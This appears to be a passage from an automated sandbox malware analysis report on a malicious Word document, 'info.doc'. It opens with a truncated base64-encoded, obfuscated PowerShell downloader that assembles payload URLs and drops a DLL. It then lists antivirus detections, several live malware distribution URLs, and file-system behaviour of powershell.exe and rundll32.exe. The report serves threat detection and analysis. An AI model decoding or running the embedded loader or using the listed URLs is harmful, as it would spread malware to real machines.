CcAKwAnAFQAJwApACsAJwB5AFYAJwApACAALQByAEUAcABsAGEAQwBFACAAIAAoACcAVAAnACsAJwB5AFYAJwApACwAWwBDAEgAYQByAF0AOQAyACkAKQA7ACQAQwA0ADIATgA9ACgAKAAnAEMAJwArACcAMQAzACcAKQArACcARAAnACkAOwAgACAAKAAgAGwAUwAgACAAVgBBAFIAaQBBAGIATABlADoANQA0ADkAQwAgACkALgB2AGEATAB1AEUAOgA6ACIAcwBFAGMAVQBgAFIAYABpAFQAeQBwAFIAbwB0AGAAbwBgAGMATwBsACIAIAA9ACAAKAAnAFQAJwArACgAJwBsACcAKwAnAHMAMQAyACcAKQApADsAJABEADcANwBZAD0AKAAnAFoAOAAnACsAJwBfAFYAJwApADsAJABXAHYANgB4AGIANQA3ACAAPQAgACgAKAAnAFUAOQAnACsAJwA1ACcAKQArACcARAAnACkAOwAkAEgAMAAxAFYAPQAoACgAJwBHADkAJwArACcANgAnACkAKwAnAEgAJwApADsAJABUAHoAbwA3AHQAdwBsAD0AJABIAE8ATQBFACsAKAAoACcASgBqACcAKwAnAFcAJwArACgAJwBYAHQAJwArACcAcwBfAG4AbQAnACsAJwBmAEoAagBXAFAANAAnACsAJwAxADgAJwApACsAJwA4ACcAKwAoACcAcQAnACsAJwBrAEoAJwApACsAJwBqACcAKwAnAFcAJwApAC0AYwBSAGUAUABsAGEAQwBFACAAKAAnAEoAagAnACsAJwBXACcAKQAsAFsAQwBIAEEAUgBdADkAMgApACsAJABXAHYANgB4AGIANQA3ACsAKAAnAC4AJwArACgAJwBkACcAKwAnAGwAbAAnACkAKQA7ACQAWAA1ADYAUAA9ACgAJwBMACcAKwAoACcANgA3ACcAKwAnAFEAJwApACkAOwAkAFcAdABfADUAdwBrAGMAPQAoACcAXQBiACcAKwAoACcAMgBbAHMAJwArACcAOgAnACkAKwAoACcALwAnACsAJwAvACcAKwAnAGYAbQBjAGEAJwApACsAJwB2AC4AJwArACgAJwBjAG8AbQAnACsAJwAvACcAKQArACgAJwBpAG0AYQAnACsAJwBnAGUAcwAnACkAKwAnAC8ANwAnACsAKAAnAEYAVgA0AE4AJwArACcAZAAnACsAJwAvAEAAXQBiADIAWwBzACcAKQArACgAJwA6ACcAKwAnAC8ALwAnACkAKwAoACcAdABoAGUAcAByACcAKwAnAGEAJwApACsAKAAnAGoAaQAnACsAJwBuACcAKQArACgAJwBzAGgAJwArACcAZQBlAC4AJwApACsAKAAnAGMAJwArACcAbwBtAC8AbwB0ACcAKQArACgAJwBoACcAKwAnAGUAJwArACcAcgBmACcAKwAnAGkAbABlAHMAJwArACcALwB3AEEARgBQAC8AJwApACsAJwBAAF0AJwArACgAJwBiADIAWwBzADoAJwArACcALwAnACsAJwAvACcAKwAnAHcAdwB3AC4AcgBlAG0AbwB2ACcAKwAnAGUAcAAnACkAKwAoACcAYwB0AHIAJwArACcAbwAnACkAKwAnAGoAYQAnACsAKAAnAG4AJwArACcALgBjACcAKQArACgAJwBvAG0ALwB3ACcAKwAnAHAAJwApACsAKAAnAC0AJwArACcAYQBkAG0AJwApACsAJwBpAG4AJwArACcALwAnACsAKAAnAGEAawAnACsAJwAwACcAKQArACcAYwAnA

                      Signature Overview

                      Click to jump to signature section

                      Show All Signature Results

                      AV Detection:

                      barindex
                      Antivirus detection for URL or domainShow sources
                      Source: http://www.achutamanasa.com/garmin-pro-fei8o/mW/Avira URL Cloud: Label: malware
                      Source: http://www.removepctrojan.com/wp-admin/ak0chH/Avira URL Cloud: Label: malware
                      Source: http://johnloveskim.com/a/Tff/Avira URL Cloud: Label: malware
                      Source: http://theprajinshee.com/otherfiles/wAFP/Avira URL Cloud: Label: malware
                      Source: http://geoffoglemusic.com/wp-admin/7C11oAC/Avira URL Cloud: Label: malware
                      Source: http://www.geosrt.com/aqqhwdap/l0/Avira URL Cloud: Label: malware
                      Source: http://fmcav.com/images/7FV4Nd/Avira URL Cloud: Label: malware
                      Multi AV Scanner detection for dropped fileShow sources
                      Source: C:\Users\user\Xts_nmf\P4188qk\U95D.dllMetadefender: Detection: 66%Perma Link
                      Source: C:\Users\user\Xts_nmf\P4188qk\U95D.dllReversingLabs: Detection: 82%
                      Multi AV Scanner detection for submitted fileShow sources
                      Source: info.docVirustotal: Detection: 64%Perma Link
                      Source: info.docMetadefender: Detection: 41%Perma Link
                      Source: info.docReversingLabs: Detection: 79%
                      Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEFile opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dllJump to behavior
                      Source: Binary string: System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2087542924.0000000002C47000.00000004.00000040.sdmp
                      Source: Binary string: C:\Windows\symbols\dll\System.Management.Automation.pdbCom source: powershell.exe, 00000005.00000002.2087542924.0000000002C47000.00000004.00000040.sdmp
                      Source: Binary string: C:\Windows\dll\System.Management.Automation.pdbProg source: powershell.exe, 00000005.00000002.2087542924.0000000002C47000.00000004.00000040.sdmp
                      Source: Binary string: C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2087542924.0000000002C47000.00000004.00000040.sdmp
                      Source: Binary string: ws\System.Management.Automation.pdbpdbion.pdbERSP source: powershell.exe, 00000005.00000002.2087542924.0000000002C47000.00000004.00000040.sdmp
                      Source: Binary string: B:\cliprgn_src\Release\ClipRgn.pdb source: rundll32.exe, 00000007.00000002.2092170469.0000000010042000.00000002.00020000.sdmp
                      Source: Binary string: C:\Windows\System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2087542924.0000000002C47000.00000004.00000040.sdmp
                      Source: Binary string: mscorrc.pdb source: powershell.exe, 00000005.00000002.2087428444.00000000027C0000.00000002.00000001.sdmp
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 7_2_100272AB FindFirstFileExW,FindNextFileW,FindClose,7_2_100272AB
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 7_2_10026EEF FindFirstFileExW,7_2_10026EEF
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 8_2_100272AB FindFirstFileExW,FindNextFileW,FindClose,8_2_100272AB
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 8_2_10026EEF FindFirstFileExW,8_2_10026EEF
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\userJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppDataJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\RoamingJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\Roaming\MicrosoftJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\WindowsJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.iniJump to behavior